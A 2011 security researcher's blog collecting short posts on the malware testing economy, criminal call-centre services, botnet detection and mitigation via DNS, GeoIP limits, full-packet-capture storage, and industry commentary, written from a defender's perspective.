Technicalinfo.net Blog

Dialing in the Malware

2011-10-05T05:08:00.000-07:00

Despite several decades of anti-malware defense development, the pro-malware industry is still going strong. As I listen to presentations here at VB2011 in Barcelona this week covering many aspects of malware-based cyber-crime and the advances in detection being made, I'm reminded of a recent posting I made on the Damballa site concerning the success of malware. At the end of the day it costs the attacker practically nothing to generate new malware instances and, with a little investment in a QA process, they can guarantee evasion...

There’s often a lot of discussion about whether a piece of malware is advanced or not. To a large extent these discussions can be categorized as academic nitpicking because, at the end of the day, the malware’s sophistication only needs to be at the level for which it is required to perform – no more, no less. Perhaps the “advanced” malware label should more precisely be reattributed as “feature rich” instead.

Regardless of whether a piece of malware is designated advanced or run-of-the-mill, and despite all those layers of defense that users have been instructed to employ and keep up to date, even that ever-so-boring piece of yesteryear malware still manages to steal its victims banking information.

How is that possible?

I could get all technical and discuss factors such as polymorphism and armoring techniques, but the real answer as to why the malware manages to slip by all those defenses is because the bad guys behind the attack tested it prior to release and verified that it was already “undetectable” before it was shipped down to the victim’s computer. Those host-based defenses had no chance.

It’s worthwhile noting that generating “unique” malware is trivial. Armed with a stock-standard off-the-shelf DIY construction kit, it is possible to manually generate several hundred unique variants per hour. If the cyber-crook is halfway proficient with scripting they can generate a few thousand variants per hour. Now, if they were serious and stripped back the DIY kit and used something more than a $200 notebook, they could generate millions of unique variants per day. It sort of makes all those threat reports by anti-virus vendors that count the number of new malware detected each month or year rather mute. Any cyber-criminal willing to do so could effectively choose what the global number of new malware will be and simply make enough variants to reach that target. I wonder if any online betting agencies will offer worthwhile odds on a particular number being achieved. It may be worth the effort.

Armed with a bag of freshly minted malware, the cybercriminal then proceeds to test each sample against the protection products they’re likely to encounter on potential victim’s computers – throwing out any samples that get flagged as malware by the anti-virus products.

Using a popular malware DIY construction kit like Zeus (retailing for $4,000, or free pirated version via Torrent download networks), the probability of any sample being detected even at this early testing stage tends to be less than 10 percent. If the cybercriminal chooses to also employ a malware armoring tool that average detection rate will likely drop to 2 percent or less.

Obviously this kind of testing or, more precisely, Quality Assurance (QA) is a potentially costly and time-consuming exercise. Never fear though, there are a lot of entrepreneurs only too happy to support the cybercriminal ecosystem and offer this kind of testing as a commercial service.

Today there are literally dozens of online portals designed to automatically test new malware samples against the 40+ different commercially-available desktop anti-virus and protection suites – providing detailed reports of their detection status. For as little as $20 per month cybercriminals can upload batches of up to 10,000 new malware samples for automated testing, with the expectation that they’ll receive a thoroughly vetted batch of malware in return. These “undetectable” malware samples are guaranteed to evade those commercial protection products. As a premium subscription service model, for $50 per month, many QA providers will automatically fix any of the malware samples that were (unfortunately) detected and similarly guarantee their undetectability.

Armed with a batch of a few thousand fully-guaranteed malware samples that are destined to be deployed against their victims in a one-of-a-kind personalized manner, it should be of little surprise to anyone precisely why run-of-the-mill or feature-rich malware manages to infect and defraud their victims so easily.

Tuning Spear Phishing Campaigns

2011-10-05T04:59:00.000-07:00

I was recently asked to discuss tools and tactics of cyber-crime campaigns in relation to advanced spear phishing tactics. One of the interesting service industries that form the advanced criminal ecosystems is that of ProRing. The following Damballa post summarizes this particular industry...

Despite the advances in anti-spam technologies and mail filtering gateways, if you’re inbox is anything like mine, each morning there will be a bundle of emails offering a cut of some recently liberated or long forgotten monies, offers to work from home (all you need is a US bank account!), notifications of bank detail confirmation requests, or some obscure social engineering whatever. We’ve all seen them, and most of us recognize them for what they are – broad spectrum Internet scam campaigns launched by online crooks.

Again, if you’re anything like me, sometimes you’ll catch yourself laughing at the content of the spam emails. Too often the language is all mixed up, has misspellings, and was obviously written by someone to whom English is a second language).

For the victims, these messages are the start of their problems. For the attackers, the distribution of these messages is roughly a halfway point in their current fraud campaign. For some specialized criminal operators, the content of that email is the culmination of their efforts and contribution.

I was reminded recently by the following very funny (and obviously not serious) tweet that there hasn’t been much attention to the organized crime aspects of translation – in particular, the realm of cybercrime-as-a-service (CaaS).

Figure 1: Humorous tweet in Chinglish with misspellings

It should be no surprise that there are CaaS providers that offer boutique translation services to other Internet criminals.

For quite a few years now there have been folks working behind the scenes translating the content supplied by foreign criminals into the messages arriving in your inbox. I’m not talking about those pigeon-English things you receive and rapidly reject, but rather the ones you’re probably missing based upon a first-pass grammar and spell check. Translation services are rather lucrative for those involved. If you happen to be a fluent English speaker/writer and based in Russia, you can make a couple hundred dollars for each phishing email template you convert or social engineering message you construct. For some CaaS operators a percentage of any fraudulently gained funds may be part of the deal – tying the payment to their translation capability and the success of the attacker’s campaign.

Translating the written language is one thing, it is quite another if you have to speak it. As such, there are a number of CaaS operators that specialize in what could be best described as translation call centers. A common name for these kinds of criminal services are “ProRing” – basically “professional ringing” services, tuned to the requirements of criminals (not just online ones either!).

Supporting a small number of languages, ProRing services are often utilized by cyber-criminals in a variety of ways:

* Account change confirmation for stolen and hijacked accounts

* Money mule coordination and bank account management

* Package tracking and delivery

* Vishing message construction

* Spear phishing “helpdesk” impersonation

* Social engineering

Figure 2: ProRing service supporting multiple languages

The larger more established ProRing providers tend to support the most common languages encountered in Western countries (i.e. English, German, French and Spanish), although other languages may be included – depending upon staffing arrangements and access to external contractors (e.g. Dutch, Serbian, Hebrew, etc.). Several providers also offer male and female speakers.

Rates vary considerably between ProRing providers, but are generally in the realm of $10-$15 per call (made/received), and will increase in price if the speaker does not possess a foreign accent.

The phone numbers being used for the calls will often use callerID spoofing and/or local POP exchanges to hide the international nature of the call. However, it is important to note that many of these ProRing CaaS operators are themselves international and may not necessarily need to obscure their phone number.

Figure 3: ProRing CaaS provider with disclaimers

As with many CaaS providers, ProRing services often come complete with disclaimers and service-level agreements (SLA), which may require financial retainers for participation in longer-running attack campaigns.

So, the next time you’re inspecting your morning email or cycling through those voice-mail messages, you may want to remember that this rapidly evolving cyber-crime ecosystem has your number (literally). Professional ProRing service providers are out there making sure that the next attack is more successful than the last.

Cyber-siege Strategy

2011-10-05T04:45:00.000-07:00

The tactical view of cyber-warfare is that of hacking in to systems, infiltrating data and causing systems to self-destruct. It's all a bit Hollywood in many ways, or at least that's the perception of many not intimately involved in dealing with the threat.

I recently wanted to address the strategic concepts of cyber-warfare - in particular the non-destructive aspects of an attack. The first article covering the strategic objectives of modern cyber-war was published yesterday on eSecurityPlanet with the subject "Siege Warfare in the Cyber Age".

In the article I point out the value of non-kinetic attacks and the restoration of device control at the end of hostilities (or regime change), and how future cyber-warfare can take on a siege-like approach.

Predicting Crime Hotspots

2011-08-29T18:23:00.000-07:00

There’s a new sheriff in town and he’s riding the horse of “predictive policing”. Back in July the Santa Cruz Police Department began deploying police officers to places where crime is likely to occur in the future – making use of new predictive modeling programs that are designed to provide daily forecasts of crime hotspots – thereby allowing the Department to preempt more serious crimes before they occurred. You can find a story describing how Santa Cruz is sending in the police before there’s a crime in The New York Times.

In essence, this is another physical-world application of machine learning and clustering technologies – applied to preempting a criminal problem. In the cyber-world we’ve been applying these techniques for a number of years with great success. In fact many of the most important advances in dealing with cybercrime revolve around the replacement of legacy IP reputation systems and domain filtering technologies with dynamic reputation systems – systems easily capable of scaling with both the threat and an ever-expanding Internet (e.g. IPv6).

Just last week Manos Antonakakis (a principal scientist at Damballa Labs) presented at the USENIX Security 2011 conference in San Francisco about a new generation of technology capable of identifying domain names being used for malicious purposes weeks, if not months, in advance of malware samples being intercepted, analyzed and “protected” against by legacy anti-virus approaches.

The patent-pending technology utilizes passive DNS observations within the upper DNS hierarchy, and the paper describing the first generation of research (and cybercrime proof-points) can be found in the paper “Detecting Malware Domains at the Upper DNS Hierarchy“. The system running here within Damballa Labs is affectionately known as “Kopis” and has proved its worth time and again preemptively identifying new botnets and cybercrime campaigns – keeping our Threat Analyst team busy with enumerating the real-world criminals behind the domain abuse.

The Kopis system extends many of the principles and research we learnt and formulated when developing the Notos technology – a next generation dynamic reputation system for DNS.

In several ways the Santa Cruz Police Department’s modeling systems approximates an early generation of such a dynamic reputation system – utilizing a mix of long term observations and historical information, combined with real-time crime updates, the output of which is a forecast capable of predicting hotspots for daily crime.

Damballa Labs utilizes Notos and its derivative output evolutions in a number of ways. For example, we’re able to take any observed DNS record (e.g. domain name and resolved IP address) and provide a real-time score of its reputation – even if this is the first time anyone on the Internet has ever tried to resolve that particular domain name. In practice this means that we can predict (with a scale of confidence) that connecting to a device utilizing that particular domain name (or IP) is malicious (or good) and the nature of the threat it represents – all done through passive means, and without having to have observed the maliciousness directly associated with the device anytime in the past.

Systems like Notos make use of big data (i.e. colossal volumes of historical and streaming data) gathered from a global array of sensors. The mix of historical observations and real-time data feeds means that prediction models can be dynamic enough to keep pace with truly agile threats (and threat operators) – and can yield new approaches in unveiling advanced and sophisticated threats. For example, a possible query could be “provide me a list of domain names that are pointing to residential DSL IP addresses within Villianstan, that have never been looked up by any hosts within the country of Villanstan, that have only been looked up by hosts located within Fortune-100 companies in the USA, and that the number of Fortune-100 companies doing so is less than 5 over the last 12 months.” The result of the query would be a (long) list of domain names that are very high contenders for APT victims, which then drives specialist counter-intelligence analysts and law enforcement to uncover the nature of the threat.

In the meantime I’ll be watching with keen interest the successes of the Santa Cruz Police Department and their new modeling programs. Here at Damballa we’ve had phenomenal success in using machine learning and advanced clustering techniques in unveiling and forecasting new threats.

Practical Packet Analysis Book Review

2011-08-26T13:56:00.000-07:00

This week I had the opportunity to read Chris Sanders’ newly released book “Practical Packet Analysis” (second edition) – published by No Starch Press. While I’m not a frequent reader of technical computing books (they’re always a little too bulky for flights and carryon), I was looking for a book I could recommend and pass on to junior security consultants and threat analysts (as well as a few engineers).

Practical Packet Analysis proved to be a good read and I even managed to pick up a few tips on recent features within Wireshark that I’d not previously had a chance to experiment with; but am now looking forward to applying to real-world traffic.

While the book isn’t deeply technical (it’s not meant to be), it performs a very nice walk through of the practical aspects of performing network analysis and investigating packet captures. All too often in the past I’ve encountered network analysis books that either skim through the real-world problems an analyst or engineer will encounter, and rapidly descends in to the weeds of some obscure and contrived examples. Chris manages to navigate these waters is a clear and informative way. The practical analysis examples provide a breadth of understanding of not only the nuances and features of Wireshark, but also the common problems encountered by analysts tasked with troubleshooting their own networks. The sort of things they need to know asap if they’re going to be productive in a minimal amount of time

A chapter I particularly appreciated for its inclusion centered on how and where you should tap a network in order to perform analysis. You wouldn’t believe how many times that chapter alone could have prevented much wasted effort – if only folks had had access to it (and read it).

On the whole, I’d recommend this book to junior network analysts, software developers and newly minted MCSE/CISSP/etc. – folks that just need to roll up their sleeves and get started troubleshooting network (and security) problems. My copy of the book has already been passed on to a third pair of hands for reading and brushing up on the practical application of Wireshark. Great work Chris!

Not Endgames Again

2011-08-06T19:13:00.000-07:00

With the Blackhat and Defcon conferences back to back, the melting pot that is Vegas has served its purpose in bringing together so many of the worlds leading security researchers, consultants, and opinions together. It’s been a tough slog through long days and longer nights, but it’s been so worth it.

While many of the presentations this time round may not have been worthy of previous years conferences, the true value of the event really lies in the hallway discussions and logistical movements between the vendor parties – trading invites for favors, and negotiations over beers pre- and post- party. I know that many folks would agree with me when I say that more business deals are secured and contacts negotiated at the Galleria bar of Caesars Palace than all the other event locations combined.

This year there was a lot of discussion in the Galleria Bar relating to exploit development (a big change from the past decades worth of vulnerability disclosure debate) – mostly due to the media attention garnered by the HB Gary Federal and Endgame Systems (Endgames) disclosures/revelations over recent months.

Each evening I’d inevitably get pulled into (new) discussions as folks I hardly know (or had only just been introduced to) tried to pump me for insider information about Endgames – somehow assuming I’m involved with that company. Let’s be clear – I have nothing to do with the Endgames business! It’s important that people understand that. The fact that both Endgames and Damballa (where I work) are in the same building in Atlanta is a reflection of shared Georgia Tech heritage and talent recruitment - not to mention $$$ per-square-foot office space rental costs – and is not a conspiracy seeking new enlightenment. And No, I don’t (and have never) worked for Endgames.

By way of preempting the next recycled batch of grilling from security nuts, weirdo’s and conspiracy theorists, here are some facts…

Back in 2005 I was enticed to leave NGS Software and London, and assume the role of Director of X-Force in Atlanta after Chris Rouland (the former Director of X-Force – and current CEO of Endgames) took on the role of CTO at Internet Security Systems, after Christopher Klaus (an ISS founder) vacated that particular position. As it happened, I took over responsibility for X-Force just after the Blackhat/Defcon events of 2005 – immediately after the Mike Lynn and Ciscogate (so that wasn’t anything to do with me). So, yes, Chris and I have both held the same titles at ISS and No, Ciscogate was not my fault.
While I was the Director of X-Force, the X-Force group (which consisted of R&D, threat research, detection/protection engineering teams and signature development teams, etc.) reported up through the VP of Engineering. The professional services teams (some of which were/are commonly tagged as “X-Force”) were regionally focused and organized, and so tended to report up through the regional sales organizations (i.e. not my responsibility). This is an important distinction, because ISS wasn’t unfamiliar with some of the professional services that would eventually transfer with the people that kicked off Endgames. So, No, I was not responsible for things labeled as “X-Force” within the professional services division in the US, and Yes, the professional services group(s) did have access at the time to all the latest vulnerabilities and 0-days uncovered by the X-Force R&D teams.
When IBM acquired ISS in October 2006, there were a lot of changes. ISS became IBM ISS and an “Office of the CTO” was established. Given integration challenges and the hope that a center of excellence could be created within IBM to bring together all the great security research done throughout IBM globally – and the hope that the derivative technologies would make it in to products within IBM ISS – the responsibilities for X-force were to be divided and I took on the role of Chief Security Strategist – reporting in to the new “Office of the CTO” – working with Chris Rouland and another founder of Endgames. So, Yes, Chris and I (and several of the eventual founders of EndGames) worked together for a couple of years in the same “office” for IBM ISS.
Some of the (PSS) services ISS had previously provided were not well suited to a company such as IBM and needed to be shutdown or were left to passively wilt while contract renewals wouldn’t be pursued. Several of these services (derivatives and extensions) are directly related to how Endgames came to exist – after the ISS professionals familiar with their delivery and a belief their commercial viability struck out from IBM ISS to create Endgames and satisfy those customer needs. I was never part of that side of the IBM ISS business. For one thing, I’m a foreigner and didn’t have the appropriate security clearances to get involved. For another, I find some aspects of that particular business model unsavory. So, No, I never had a hand in that side of ISS/IBM ISS’ business.
You can’t swing a stick in Atlanta without hitting an ex-ISSer. The number of security professionals that have passed through ISS over the last decade-and-a-half and gone on to establish and populate new security startups in Atlanta is amazing. This is why you’ll find so many ex-ISSer’s working at both Endgames and Damballa – and dozens of other security companies in the area! So, Yes, we all know and respect each other and tend to get on well. Endgames is on the same building one floor below Damballa, and there are several bars within spitting distance of our respective offices.
In the early days of Damballa (which is a startup that sprung out of Georgia Tech), Chris Rouland was on the companies Technical Advisory board. Damballa for it’s first few years of existence was focused on tracking botnets, enumerating the bot infected victims, and providing that insight as commercial intelligence feeds. Shortly after my joining Damballa in 2009, Damballa stopped providing commercial threat intelligence feeds and focused on appliance-based threat detection solutions. Chris Rouland elected to leave the Damballa Technical Advisory Board shortly before Endgames launched their IPTrust brand/service. So, Yes, in the past there was a relationship between Damballa and Chris Rouland (after all, he created the original X-Force and has been a thought leader in the security community for quite some time) – just not what some people have assumed.

There’s probably a whole bunch of additional questions that folks were battering me with this week in Vegas related to Endgames (and HB Gary Federal by proxy) that I couldn’t be bothered answering then, and I’m not going to bother answering now.

There is no commercial relationship between Endgames and Damballa. Damballa and Endgames are separate commercial entities – doing completely different things in totally different ways, with different objectives, customers and employees. The histories of several folks working at both companies are entwined with the history of ISS and IBM ISS – but that’s it.

And so on to the last conspiracy theory questions; No, I know of no cases of ISS selling vulnerabilities to any foreign entities. And, Yes, I’m still an opponent to middle-men financial models relating to the buying and selling 0-day vulnerabilities.

Threat Intelligence via Sinkholes

2011-07-13T06:02:00.001-07:00

Over the last few months I've been seeing more and more folks pimping botnet victim intelligence feeds. Despite the obvious flaws in these feeds, the subscriptions are going up - despite most folks not really understanding how to use the intelligence.

Just about all the data being sold is harvested from sinkholes - which happens to be a rather crap way of gathering that kind of information. There are all kinds of limitations to the way the intelligence can be employed - especially from a protection perspective.

By way of education, I've pulled together an educational post covering the problems with sinkhole harvested data - from both technology and legal/ethical perspectives.

You can find the posting at the Damballa site - http://blog.damballa.com/?p=1342

Oak Ridge National Laboratory Falls for a Spear-Phishing Campaign

2011-04-20T06:57:00.000-07:00

An interesting post today on Wired - Top Federal Lab Hacked in Spear-Phishing Attack - details the most recent successful attack against Oak Ridge National Labs.

A couple of the most interesting quotes from the story are:

“The attacker used an Internet Explorer zero-day vulnerability that Microsoft patched on April 12 to breach the lab’s network. The vulnerability, described as a critical remote-code execution vulnerability, allows an attacker to install malware on a user’s machine if he or she visits a malicious web site.”

and...

“The lab began to block the malicious emails soon after they began coming in, but it was already too late. On April 11, administrators discovered a server had been breached when data began leaving the network. Workers cleaned up the infected system, but early Friday evening “a number of other servers suddenly [went] active with the malware,” Zacharia said. The malware had apparently laid dormant for a week before it awoke on those systems. That’s when the lab blocked internet access.”

That's an interesting tactic, and one I haven't seen for a long time. Back in the 2003-2004 era I observed a similar kind of trigger approach being used for targeted attacks against the petrochemical industry (largely associated with organized crime teams that traced back to the Balkans).

Optimal Methods for Spam and DDoS Offender Discovery

2011-03-10T11:00:00.000-08:00

As botnet threats go, Spam and DDoS are probably the most widely known and discussed tactics employed by criminal operators. Despite being some of the last things that career botnet operators employ their compromised victims for, and despite offering the lowest monetization rates for the criminals, DDoS and Spam volume have continued to rise annually.

A question was asked to me recently as to which techniques worked best for dealing with DDoS and Spam participation from within large enterprises or residential DSL/Cable networks – Network Anomaly Detection Systems (NADS) or botnet command-and-control (CnC) enumeration techniques (such as those employed by Damballa)?

It’s not the kind of question that can be answered succinctly. Both approaches are designed to scale to very large networks – and as such are components of a robust protection strategy. In fact the technologies are rather complementary – although I do think that the CnC enumeration approach is more elegant and efficient in the grand scheme of things.

The NADS approach to Spam and DDoS participation detection is simple enough – you monitor netflow (a compact summary of network packet flow – usually to/from IP address, port, protocol, date/time and packet size information), determine a baseline for traffic levels, set alert thresholds for potential anomalies, and define responses when a threshold alert is received. In the context of a simple DDoS threat, you set up a threshold for the volume of HTTP traffic directed at a single destination by a single IP host and label that host as initiating a DDoS attack. If multiple hosts within the network being monitored also reach the HTTP threshold(s) against the same target IP address, you label them all as being part of a DDoS botnet. The same basic principles apply to Spam botnet detection.

An alternative and generally complementary approach to the problem is to automatically identify hosts within the monitored network that are already infected with malware and/or engaged in conversations with botnet CnC servers. This can be achieved in a variety of ways, but one of the simplest ways is to merely observe the DNS requests made by the hosts and the responses from the resolving DNS servers. Having identified suspicious DNS request profiles along with DNS responses that have high probabilities of association with criminal hosting infrastructure, it’s possible to quickly match victims with particular botnets – and label the new (or previously known) CnC fully qualified domain name. Any other hosts exhibiting similar DNS resolution characteristics are members of the same botnet. The beauty of this approach is that this method of detection and botnet enumeration (and labeling) can be done before the botnet victims actually participate in any subsequent Spam or DDoS campaigns.

When it comes to mitigating the threat, the historical way is to effectively block the attack traffic by either firewalling off specific ports or destination IP addresses, or walled gardening the malignant hosts. So, while the botnet host is spewing spam or DDoS traffic, it’s not being routed to its final (target) destination.

That approach may have been OK in the past if you were only dealing with IP-based threat responses and could stomach the voluminous traffic internally, but with more advanced CnC and botnet enumeration technologies you’re able to bring to bear some additional (and more versatile) mitigation techniques. Since you’re constantly identifying and tracking botnet membership and you know which CnC’s these victims are being controlled by, you could perform one or more of the following actions:

As botnet members begin to participate in the DDoS attack or Spam campaign, traffic to and from the CnC server could be blocked. By doing so, no new commands are sent to the botnet victims and they typically cease their attacks. In addition, any other botnet members within the network who have not yet been tasked to participate in the attack will similarly not be able to receive instructions.
Walled Gardens can be selectively initiated around the infected botnet population – blocking just the ports and protocols being used (or likely to be used) in the attack against remote targets – without applying the same blocking to all hosts or subscribers within the network. For example, a botnet may be tasked with DDoSing a popular financial services web portal using a HTTP-based payload. It would therefore be important to only block the attack traffic and allow legitimate traffic through. A walled garden approach could be used in this scenario without having to utilize Deep Packet Inspection (DPI) to differentiate between the attack and legitimate traffic.
The ability to differentiate CnC server activity at the domain name level is important for botnets that utilize fast flux infrastructure to distribute command over large numbers of IP addresses. If recursive DNS services are provided by the organization to their enterprise hosts or subscribers, an alternative DNS response could be sent to the botnet victims – e.g. making botnet.badness.com.cc resolve to localhost (127.0.0.1).
If DPI or PCAP capabilities exist within the organization, they could be selectively deployed to catalog the criminal communications between the botnet members and the CnC server. This detailed evidence of the attack (including the commands being sent by the CnC) can be used for takedown or prosecution purposes.
If the botnet malware agent is relatively unsophisticated or if the CnC server itself is vulnerable to third-party takeover (e.g. a hacked server that the legitimate owner regains control and can now issue commands to the botnet, or if the Botnet CnC portal code contains remotely exploitable vulnerabilities), it may be possible to issue commands “on behalf” of the criminal operator instructing all the botnet members to stop their attack and to automatically uninstall the malware agent.

There are of course many other imaginative ways to use the knowledge of the botnet CnC and its members in preemptive protection strategies too.

I think that NADS-based botnet detection (or more precisely botnet attack traffic detection) is useful for identifying triggers for remediation action – but I think that botnet CnC enumeration techniques can provide greater flexibility in long-term threat management approaches.

GeoIP Irrelevance

2011-03-10T10:52:00.000-08:00

GeoIP has traditionally served as a first pass filter for prioritizing the analysis of inbound threats. Over the last few years the value of GeoIP for this purpose has noticeably depreciated and it’s only going to get worse. It’s all relative of course; “worse” doesn’t mean useless, just less valuable in a security context.

At its heart, GeoIP is essentially a mapping between an IP address and some location on a map – and that location may be as specific as a street and postcode, or as broad as a country’s name.

It’s important to note that the various Internet authorities don’t actually administer these IP distribution maps. Unfortunately, there isn’t anything prohibiting (or forcing) IP addresses from being linked to a particular geographical location beyond the registration of netblocks (ranges of contiguous IP addresses) to various entities and where they ultimately choose to host their equipment.

The correlation between IP address and geographical location is left to various organizations (mostly commercial) that have invested in systems making use of a mix of data mining, beaconing and solicitation to obtain actual location information – and this information is bundled up and sold in various consumable formats.

The accuracy of the GeoIP information has always been “variable”. For IP’s associated with large residential ISP’s operating in Western countries – the data is pretty accurate since much of that information has actually been supplied by the subscribers themselves (one way or another – whether they meant to disclose it or not). For IP’s associated with large international organizations – the location data is more often than not meaningless – since it often only reflects the address of the organizations global headquarters rather than the IP’s being used in their various offices and data centers. I’ve found that the more obscure an organization is and the larger their netblock of assigned IP addresses, the less likely GeoIP information will be accurate.

Those artifacts of GeoIP have always been present, but why are things getting worse? There are effectively 3 key aspects as I see it:

You’ve probably heard the news (repeatedly over the last 5 years) that IPv4 IP addresses are running out and just last month the last /8’s were allocated. What this means is that there’s growing pressure to optimize, divide and reassign existing netblock allocations. The result of this is that IP addresses are changing hands – between ISP, organizations, hosting facilities and even countries – at a pace faster than traditional GeoIP service providers can track accurately. This obviously has a catastrophic effect on IP reputation systems too – but I’ll address that issue in a later blog.
The growth of cloud computing, on-demand service provisioning and global balancing of content delivery networks has meant that larger swathes of IP addresses are incorporated into umbrella corporate locations – typically their main data center location. Meanwhile, the organizations utilizing these services may be located anywhere around the world. For example, an organized crime syndicate in Thailand could launch a spear-phishing campaign against Cambodian businesses – sending emails from the US-based Amazon EC2 cloud, and hosting the fraud server within the UK-based ElasticHosts cloud.
There are more service providers offering services that can be easily leveraged for criminal purposes and further obfuscate the true source of an attack – often intentionally (e.g. bullet-proof hosting providers and “privacy protection” services). The trend towards a federated development and provisioning of cybercrime attacks means that the GeoIP information resolves poorly to the generic hosting providers – whose services can be acquired from anywhere around the world. Often the GeoIP data is incorrect – as the service providers have altered or tampered key registration and hosting details.

That all said, GeoIP information is still an incredibly useful first-pass filter for dealing with and prioritizing threat responses.

How can organizations use GeoIP information to supplement their security response?

Most businesses aren’t global and even the global ones don’t necessarily have all offices continuously communicating with all regions of the planet. Create a list of countries or regions that are generally deemed “hostile” and automatically escalate actions based upon observed attacks from that list. As unsavory as it sounds, most organizations can easily compile such a list when pressed – and many will find that simply blocking or dropping traffic to/from those countries will be greatly beneficial. For example, a US-based chain of frozen yogurt stores probably doesn’t need to browse web sites hosted in Somalia and is unlikely to want VPN access attempts initiated from Cypress.
While the bad guys can certainly launch their attacks from “friendly” countries (and even locally) via purchased services or compromised hosts, a sizable percentage of threats encountered on a daily-basis for most organizations do little to hide their source. Therefore, distinguishing between portal login attempts (and failures) initiated from IP addresses based in Beijing China and Atlanta USA can be fruitful in optimizing threat responses.

Of course all bets are off for more sophisticated and targeted threats. But some work effort can be shed through using GeoIP relationship data to filter many criminal and persistent threats.

Nuclear Winter PCAP Repositories

2011-03-10T10:46:00.000-08:00

Recently I've been thinking about the catchall approach to security - in particular the absolute-last-stop method of just recording everything on your network and mining it for security events - kind of like surviving a nuclear winter. Here are some additional thoughts...

The other week I spoke at the DoD Cyber Crime Conference here in Atlanta and had a number of questions asked of me relating to the growing number of vendors offering “store it all” network monitoring appliances. That whole approach to network monitoring isn’t an area of security I’ve traditionally given much credence to – not because of the practical limitations of implementing it, nor the inefficiencies and latency of the techniques – but because it’s an inelegant approach to what I think amounts to an incorrectly asked question.

Obviously, given the high concentration of defense and law enforcement attendees that such a conference attracts, there’s an increased emphasis on products that aid evidence gathering and data forensics. The “store it all” angle effectively encompasses devices that passively monitor an organizations network traffic and store it all (every bit and PCAP) on a bunch of disks, tapes or network appliances so that, at sometime in the near future, should someone ever feel the need to or were compelled to, it would be conceptually possible to mine all the stored traffic and forensically unravel a particularly compelling event.

Sounds fantastic! The prospect of having this level of detailed forensic information handy – ready to be tapped at a moment’s notice – is likely verging on orgasmic for many of the “lean forward” incident response folks I’ve encountered over the years.

The “store it all” network monitoring approach is a pretty exhaustive answer to the question “How can I see what happened within my network if I missed it the first time?” But shouldn’t the question be more along the lines of “How can I detect the threat and stop it before the damage is done?”

A “store it all” approach to security is like the ultimate safeguard – no matter what happens, even if my 20 levels of defense-in-depth fail, or someone incorrectly configures system and network logging features (causing events to not be recorded), or if multiple layers of internal threat detection and response systems misbehave, I’d still have a colossal data dump that can eventually be mined. Believe me when I say that I can see some level of comfort in adopting that approach. But the inefficiencies of such a strategy make my eye twitch.

Let’s look at some scoping numbers for consideration. Imagine a medium-sized business with a couple-hundred of employees. Assume for the moment that all those folks, along with several dozen servers, are located at the same building. A typical desktop system has a 1Gbps network interface nowadays, and the networking “backbone” for a network of 250 devices is likely to have a low-end operating capacity of 10Gbps – but let’s assume that the network is only 50% utilized throughout the day. After a little number crunching, if you were to be capturing all that network activity and seeking to store it, you’d be amassing 54TB of data every day – so, perhaps you don’t want to capture everything after all?

How about reducing the scale of the problem and focusing upon just the data going to and from the Internet via a single egress point? Let’s assume that the organization only has a 10Mbps link to their ISP that’s averaging 75% utilization throughout the day. After a little number crunching, you’ll arrive at a wholesome 81GB of data per day. That’s much more manageable and, since a $50k “store it all” appliance will typically hold a couple of Terabytes of data without too many problems, you’d be able to retain a little over three weeks of network visibility.

How does this help your security though? Storing the data isn’t helping on a protection front (neither preemptive nor reactive), and it’s not going to help identify any additional threats you may have missed unless you’re also investing in the tools and human resources to sift through all the data.

To use an analogy, you’re a farmer and you’ve just invested in a colossal hay barn, you’ve acquired the equipment to harvest and bundle the hay, and you’re mowing fields that are capable of growing more hay than you could ever seek to perpetually store. Then someone informs you that one of their cows died because it swallowed a nail that probably came from your hay – so you’d better run through all those hay bales stored in your barn and search for any other nails that could kill someone else’s cow. The fact that the cow that died ate from a hay bale that’s no longer stored in your (full) barn is unfortunate I guess. But anyway, you’re in a reactive situation and you’ll remain in a reactive phase no matter how big your barn eventually becomes.

If you’ve got a suspicion that metal objects (nails, needles, coins, etc.) are likely to be bad juju, shouldn’t you be seeking them out before you’ve gone to all the work of filling your barn with hay bales? Wouldn’t it make more sense to perhaps use a magnet and detect those metal objects at the time you’re cutting the hay – before you’re putting it in a bale, and before you put those bales in your barn? Even if you had no forethought that metal objects in your hay could cause eventually a problem, do you persist with a strategy of periodically hunting for the classic “needle in a haystack” in your barn despite now knowing of the threat?

Getting back to the world of IT security and threat detection (and mitigation)… I’ve found that there are greater efficiencies in identifying threats as the network data is streaming by – rather than reactive post-event data-mining approaches.

I guess I’ll hear some folks ask “what about the stuff they might miss?” There are very few organizations that I can think of able to employ the skills and resources needed to analyze the “store it all” network traffic at a level even remotely comparable to what a security product vendor already includes in their commercial detection offerings – and those vendors are typically doing their analysis in a streaming fashion (and usually with something more sophisticated than magnets).

My advice to organizations looking at adopting “store it all” network monitoring appliances is the following:

If you already have all of your protection and detection bases completely covered, maybe deploying these appliances makes sense – provided you employ the dedicated security analysts and incident response folks to make use of the data.
Do you know what you’re trying to protect? “Store it all” approaches are designed to fill in the gaps of your other threat monitoring and detection systems. Is the threat going to be present at the network egress point, or will you need to store traffic from other (higher-volume) network segments? If so, be cognizant of how far back you can roll your eventual analysis.
If you’re in to hording data for the purpose of forensics and incident response, a more efficient and cost effective approach may be to turn on (and optimize) your logging capabilities. Host logging combined with network logging will yield a very rich data set (and will often be richer than simply storing all network traffic) which can be mined much more efficiently.
If host-based logging isn’t possible or is proving to be too unwieldy, and you find yourself having to maintain a high paranoia state throughout the organization, you may want to consider implementing a flow-based security approach and invest in a network anomaly detection system. That way you’ll get near real-time alerting for bespoke threat categories – rather than labor-intensive reactive data-mining.
If you have money to burn, buy the technology and begin storing all the PCAP data you can. Although I’d probably opt for a Ferrari purchase myself…

Threatology

2011-02-23T15:21:00.000-08:00

Just a recap on some thinking covering threats and the folks who study them...

One of the key principles to understanding the threat is having the ability to monitor it. Within an enterprise environment security teams instrument the network in the form of protection technologies and stream alerts back to management consoles or aggregate multiple alert streams into centralized SIEM’s (or equivalent). Without sounding too depreciating, as difficult as it is to monitor threats within an enterprise, it’s nothing like monitoring Internet bound threats.

I know that plenty of organizations profess to monitoring threats as they propagate the Internet – often providing threat feeds to caring organizations (typically for a fee), or incorporating the processed threat data into tools and technologies behind the scene. The problem is that much of this monitoring is based upon point sampling and is heavily biased to the organizations geographic presence – and that’s before we get into the technical aspects of the monitoring systems in play.

In very basic terms you could think of it a bit like radio. Geographical distance and topology affect our ability to listen to a particular radio channel. The type of radio set and the frequency range it is capable of intercepting (e.g. AM, FM and shortwave) dictate the overall “richness” and quality of what we’re listening too. The mix of just these few simple variables greatly affects our globe-spanning listening pleasure. Even then, given a top-of-the-range radio placed on the highest mountain with the clearest “line of sight” in the world, reception capability is still limited and it probably isn’t going to interpret digital terrestrial TV signals.

